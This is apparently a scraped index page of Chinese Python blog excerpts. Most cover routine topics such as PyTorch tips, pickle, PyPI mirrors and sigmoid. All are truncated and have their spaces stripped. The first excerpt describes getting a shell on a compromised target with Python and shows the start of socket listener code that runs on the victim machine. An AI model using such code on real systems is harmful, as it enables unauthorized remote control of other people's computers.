有的时候我们在获取到目标电脑时候如果对方电脑又python编译环境时可以利用python反弹shell主要用到pythonos库和sokect库这里的服务端在目标机上运行fromsocketimport*fromosimport*s=socket(AF_INET,SOCK_STREAM)#IVP4寻址tcp协议s.bind(('',6666))#补丁端口s.listen(1)#开始监听一个队列whileTrue:sock,addr=s.accept()#返
系统 2019-09-27 17:56:43 2309
目录常用代码片段及技巧自动选择GPU和CPU切换当前目录临时添加环境目录打印模型参数将tensor的列表转换为tensor内存不够debugtensormemory常用代码片段及技巧自动选择GPU和CPUdevice=torch.device('cuda'iftorch.cuda.is_available()else'cpu')#modelandtensortodevicevgg=models.vgg16().to(device)切换当前目录importo
系统 2019-09-27 17:55:40 2309
读取文件,将每一行作为列表的一个值,求每个字符串出现的次数,以及有哪些字符串。写入文件,按次数大小排序,次数后面对应着字符串#-*-coding:utf-8-*-input1=open('jpc.txt','r')output1=open('out.txt','w')list_of_all_the_lines=input1.read()a=list_of_all_the_lines.splitlines(False)myset=set(a)mylist_c
系统 2019-09-27 17:55:24 2309
在程序运行的过程中,所有的变量都是在内存中,有时候希望将对象存储下来。我们把对象从内存中变成可存储或传输的过程称之为序列化,在Python中叫pickling。picklePython提供两个模块来实现序列化:cPickle和pickle。这两个模块功能是一样的,区别在于cPickle是C语言写的,速度快,pickle是纯Python写的,速度慢。将对象保存为字符串importpicklea1=['abc',[1,2],{'x':3}]s1=pickle.
系统 2019-09-27 17:53:47 2309
转自:https://www.cnblogs.com/wqpkita/p/7248525.html国内源:清华:https://pypi.tuna.tsinghua.edu.cn/simple阿里云:http://mirrors.aliyun.com/pypi/simple/中国科技大学https://pypi.mirrors.ustc.edu.cn/simple/华中理工大学:http://pypi.hustunique.com/山东理工大学:http:
系统 2019-09-27 17:53:04 2309
Python下载网易云音乐的高清MV,没有从首页进去解析,直接循环了....downPage1.py复制代码代码如下:#coding=utf-8importurllibimportreimportosdefgetHtml(url):page=urllib.urlopen(url)html=page.read()returnhtmldefgetVideo(html):reg=r'hurl=(.+?\.jpg)'imgre=re.compile(reg)img
系统 2019-09-27 17:51:31 2309
如下所示:'''@author:Jacobpc'''importosimportsysimportsubprocessdefget_process_id(name):child=subprocess.Popen(["pgrep","-f",name],stdout=subprocess.PIPE,shell=False)response=child.communicate()[0]returnresponsepid=get_process_id("pyth
系统 2019-09-27 17:51:27 2309
Sigmoid函数为神经网络层中的激活函数,是对输入X产生逻辑分类的过程,以下为Sigmoid函数的图像以及在两个变量输入下对其的简单实现。importnumpyasnpdefsigmoid(x):#TODO:Implementsigmoidfunctionreturn1/(1+np.exp(-x))inputs=np.array([0.7,-0.3])weights=np.array([0.1,0.8])bias=-0.1#TODO:Calculatet
系统 2019-09-27 17:51:01 2309
strip()函数的目的是去除字符串中的首位符号中间位置的符号不管用In[68]:"Stripfuction".strip()Out[68]:'Stripfuction'In[72]:"\tStripfuction\n".strip()Out[72]:'Stripfuction'In[73]:"\tStrip\nfuction\n".strip()Out[73]:'Strip\nfuction'
系统 2019-09-27 17:50:39 2309
生成模拟数据编写generate_log.py#coding=UTF-8importrandomimporttimeurl_paths=["class/112.html","class/128.html","class/145.html","class/130.html","class/146.html","class/131.html","learn/821","course/list"]ip_slices=[132,156,124,10,29,167,
系统 2019-09-27 17:50:31 2309